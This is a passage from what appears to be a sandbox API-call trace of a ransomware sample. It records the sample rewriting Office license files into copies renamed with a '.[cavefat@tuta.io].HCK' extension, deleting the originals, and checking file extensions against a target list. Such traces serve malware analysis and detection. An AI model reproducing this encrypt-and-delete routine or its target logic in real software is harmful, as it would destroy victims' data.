"c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.001] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11609) returned 1 [0237.001] CloseHandle (hObject=0x554) returned 1 [0237.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0237.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.002] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.002] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0237.003] GetLastError () returned 0x0 [0237.003] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d59, lpOverlapped=0x0) returned 1 [0237.004] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0237.005] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.005] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x114, lpOverlapped=0x0) returned 1 [0237.005] SetEndOfFile (hFile=0x544) returned 1 [0237.005] CloseHandle (hObject=0x544) returned 1 [0237.005] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.005] SetEndOfFile (hFile=0x554) returned 1 [0237.007] CloseHandle (hObject=0x554) returned 1 [0237.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1 [0237.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.009] lstrlenW (lpString=".doc") returned 4 [0237.009] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.009] lstrlenW (lpString=".docx") returned 5 [0237.009] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.009] lstrlenW (lpString=".pdf") returned 4 [0237.009] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.009] lstrlenW (lpString=".xls") returned 4 [0237.009] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.009] lstrlenW (lpString=".xlsx") returned 5 [0237.009] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.009] lstrlenW (lpString=".ppt") returned 4 [0237.009] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.009] lstrlenW (lpString=".zip") returned 4 [0237.009] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.009] lstrlenW (lpString=".rar") returned 4 [0237.009] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.009] lstrlenW (lpString=".bz2") returned 4 [0237.009] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.009] lstrlenW (lpString=".7z") returned 3 [0237.009] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.009] lstrlenW (lpString=".dbf") returned 4 [0237.009] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.009] lstrlenW (lpString=".1cd") returned 4 [0237.009] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.009] lstrlenW (lpString=".jpg") returned 4 [0237.009] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.010] lstrlenW (lpString=".doc") returned 4 [0237.010] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.010] lstrlenW (lpString=".docx") returned 5 [0237.010] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.010] lstrlenW (lpString=".pdf") returned 4 [0237.010] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.010] lstrlenW (lpString=".xls") returned 4 [0237.010] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.010] lstrlenW (lpString=".xlsx") returned 5 [0237.010] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.010] lstrlenW (lpString=".ppt") returned 4 [0237.010] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.010] lstrlenW (lpString=".zip") returned 4 [0237.010] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.010] lstrlenW (lpString=".rar") returned 4 [0237.010] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.010] lstrlenW (lpString=".bz2") returned 4 [0237.010] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.010] lstrlenW (lpString=".7z") returned 3 [0237.010] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.010] lstrlenW (lpString=".dbf") returned 4 [0237.010] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.010] lstrlenW (lpString=".1cd") returned 4 [0237.010] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0237.010] lstrlenW (lpString=".jpg") returned 4 [0237.010] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.010] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.010] lstrlenW (lpString="ExcelVL_KMS_Client-ul.xrm-ms") returned 28 [0237.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.011] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=9601) returned 1 [0237.011] CloseHandle (hObject=0x554) returned 1 [0237.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220 [0237.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.012] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.012] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0237.013] GetLastError () returned 0x0 [0237.013] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2581, lpOverlapped=0x0) returned 1 [0237.014] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2590, lpOverlapped=0x0) returned 1 [0237.015] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.015] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10c, lpOverlapped=0x0) returned 1 [0237.015] SetEndOfFile (hFile=0x544) returned 1 [0237.015] CloseHandle (hObject=0x544) returned 1 [0237.015] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.015] SetEndOfFile (hFile=0x554) returned 1 [0237.215] CloseHandle (hObject=0x554) returned 1 [0237.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1 [0237.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.230] lstrlenW (lpString=".doc") returned 4 [0237.230] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.230] lstrlenW (lpString=".docx") returned 5 [0237.231] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.231] lstrlenW (lpString=".pdf") returned 4 [0237.231] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString=".xls") returned 4 [0237.231] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString=".xlsx") returned 5 [0237.231] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.231] lstrlenW (lpString=".ppt") returned 4 [0237.231] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.231] lstrlenW (lpString=".zip") returned 4 [0237.231] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString=".rar") returned 4 [0237.231] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString=".bz2") returned 4 [0237.231] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString=".7z") returned 3 [0237.231] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.231] lstrlenW (lpString=".dbf") returned 4 [0237.231] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.231] lstrlenW (lpString=".1cd") returned 4 [0237.231] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.231] lstrlenW (lpString=".jpg") returned 4 [0237.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.231] lstrlenW (lpString=".doc") returned 4 [0237.231] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString=".docx") returned 5 [0237.231] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.231] lstrlenW (lpString=".pdf") returned 4 [0237.231] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString=".xls") returned 4 [0237.231] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString=".xlsx") returned 5 [0237.231] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.231] lstrlenW (lpString=".ppt") returned 4 [0237.231] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.232] lstrlenW (lpString=".zip") returned 4 [0237.232] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.232] lstrlenW (lpString=".rar") returned 4 [0237.232] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.232] lstrlenW (lpString=".bz2") returned 4 [0237.232] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.232] lstrlenW (lpString=".7z") returned 3 [0237.232] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.232] lstrlenW (lpString=".dbf") returned 4 [0237.232] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.232] lstrlenW (lpString=".1cd") returned 4 [0237.232] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0237.232] lstrlenW (lpString=".jpg") returned 4 [0237.232] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.232] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.232] lstrlenW (lpString="ExcelVL_MAK-ul-phn.xrm-ms") returned 25 [0237.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.233] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=19921) returned 1 [0237.233] CloseHandle (hObject=0x4a0) returned 1 [0237.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220 [0237.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.233] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.234] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.234] GetLastError () returned 0x0 [0237.234] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0237.236] WriteFile (in: hFile=0x554, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0237.237] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.237] WriteFile (in: hFile=0x554, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x106, lpOverlapped=0x0) returned 1 [0237.237] SetEndOfFile (hFile=0x554) returned 1 [0237.237] CloseHandle (hObject=0x554) returned 1 [0237.238] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.238] SetEndOfFile (hFile=0x4a0) returned 1 [0237.240] CloseHandle (hObject=0x4a0) returned 1 [0237.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1 [0237.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.241] lstrlenW (lpString=".doc") returned 4 [0237.241] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.241] lstrlenW (lpString=".docx") returned 5 [0237.241] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.241] lstrlenW (lpString=".pdf") returned 4 [0237.241] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.241] lstrlenW (lpString=".xls") returned 4 [0237.241] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.241] lstrlenW (lpString=".xlsx") returned 5 [0237.242] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.242] lstrlenW (lpString=".ppt") returned 4 [0237.242] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.242] lstrlenW (lpString=".zip") returned 4 [0237.242] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString=".rar") returned 4 [0237.242] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString=".bz2") returned 4 [0237.242] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString=".7z") returned 3 [0237.242] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.242] lstrlenW (lpString=".dbf") returned 4 [0237.242] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.242] lstrlenW (lpString=".1cd") returned 4 [0237.242] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.242] lstrlenW (lpString=".jpg") returned 4 [0237.242] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.242] lstrlenW (lpString=".doc") returned 4 [0237.242] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString=".docx") returned 5 [0237.242] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.242] lstrlenW (lpString=".pdf") returned 4 [0237.242] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString=".xls") returned 4 [0237.242] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString=".xlsx") returned 5 [0237.242] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.242] lstrlenW (lpString=".ppt") returned 4 [0237.242] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.242] lstrlenW (lpString=".zip") returned 4 [0237.242] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString=".rar") returned 4 [0237.242] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString=".bz2") returned 4 [0237.242] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString=".7z") returned 3 [0237.242] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.242] lstrlenW (lpString=".dbf") returned 4 [0237.242] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0237.242] lstrlenW 